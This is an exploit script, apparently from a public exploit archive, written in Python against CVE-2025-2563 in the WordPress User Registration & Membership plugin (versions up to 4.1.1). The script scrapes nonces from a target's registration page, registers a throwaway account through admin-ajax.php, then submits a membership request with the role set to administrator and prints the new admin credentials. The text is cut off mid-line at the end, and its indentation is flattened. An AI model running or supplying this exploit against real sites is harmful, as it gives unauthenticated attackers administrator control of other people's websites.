# Exploit Title: WordPress User Registration & Membership Plugin <= 4.1.1 - Unauthenticated Privilege Escalation
# Exploit Author: Al Baradi Joy
# Date: 2025-04-07
# Vendor Homepage: https://wordpress.org/plugins/user-registration/
# Software Link:
https://downloads.wordpress.org/plugin/user-registration.4.1.1.zip
# Version: <= 4.1.1
# Tested on: WordPress 6.4.3
# CVSS: 9.8 (CRITICAL)
# CWE: CWE-269
# References:
# https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-registration/user-registration-membership-411-unauthenticated-privilege-escalation
# https://patchstack.com/database/wordpress/plugin/user-registration/vulnerability/wordpress-user-registration-membership-plugin-4-1-2-unauthenticated-privilege-escalation-vulnerability
# https://nvd.nist.gov/vuln/detail/CVE-2025-2563

import re
import json
import requests
import random
import string
from urllib.parse import urljoin

def banner():
print("\n[+] CVE-2025-2563 - WP User Registration Privilege Escalation")
print("[+] Made By Al Baradi Joy\n")

def randstring(n=8):
return ''.join(random.choices(string.ascii_lowercase, k=n))

def get_regex(content, pattern, group=1, name=""):
match = re.search(pattern, content)
if not match:
raise ValueError(f"[-] Could not extract {name} (Pattern:
{pattern})")
return match.group(group)

def exploit(target):
session = requests.Session()
username = randstring()
password = randstring() + "!@"
email = f"{username}@exploit.test"

try:
print("[+] Getting registration page...")
r = session.get(urljoin(target, "/membership-registration/"),
timeout=10)
r.raise_for_status()
page = r.text

nonce = get_regex(page,
r'"user_registration_form_data_save":"(.*?)"', name="nonce")
formid = get_regex(page, r"id='user-registration-form-([0-9]+)'",
name="formid")
memval = get_regex(page,
r'id="ur-membership-select-membership-([0-9]+)', name="membership value")
memname = get_regex(page,
r'data-field-id="membership_field_([0-9]+)"', name="membership field name")
front_nonce = get_regex(page, r'name="ur_frontend_form_nonce"
value="(.*?)"', name="frontend_nonce")
loc_nonce = get_regex(page, r'ur_membership_frontend_localized_data
= {"_nonce":"(.*?)"', name="localized_frontend_nonce")

print("[+] Submitting registration form...")
form_data = [
{"field_name": "user_login", "value": username, "field_type":
"text", "label": "Username"},
{"field_name": "user_email", "value": email, "field_type":
"email", "label": "User Email"},
{"field_name": "user_pass", "value": password, "field_type":
"password", "label": "User Password"},
{"field_name": "user_confirm_password", "value": password,
"field_type": "password", "label": "Confirm Password"},
{"value": memval, "field_type": "radio", "label": "membership",
"field_name": f"membership_field_{memname}"}
]

payload = {
"action": "user_registration_user_form_submit",
"security": nonce,
"form_data": json.dumps(form_data),
"form_id": formid,
"registration_language": "en-US",
"ur_frontend_form_nonce": front_nonce,
"is_membership_active": memval,
"membership_type": memval
}

r2 = session.post(urljoin(target, "/wp-admin/admin-ajax.php"),
data=payload, timeout=10)

if '"success":true' not in r2.text:
print("[-] Registration form failed.")
return

print("[+] Sending membership registration as administrator...")
member_payload = {
"action": "user_registration_membership_register_member",
"security": loc_nonce,
"members_data": json.dumps({
"membership": "1",
"payment_method": "free",
"start_date": "2025-3-29",
"username": username,
"role": "administrator"
})
}

r3 = session.post(urljoin(target, "/wp-admin/admin-ajax.php"),
data=member_payload, timeout=10)

if '"success":true' in r3.text:
print("[+] Exploit Successful!")
print(f"[+] Admin Username: {username}")
print(f"[+] Admin Password: {password}")
else:
print("[-] Membership escalation failed.")

except Exception as e:
print(f"[-] Exploit failed: {str(e)}")

if __name__ == "__main__":
banner()
target = input("Enter target WordPress site (e.g., http://example.com):
").strip().rstrip('/')
if not target.startswith("http"):
target = "http: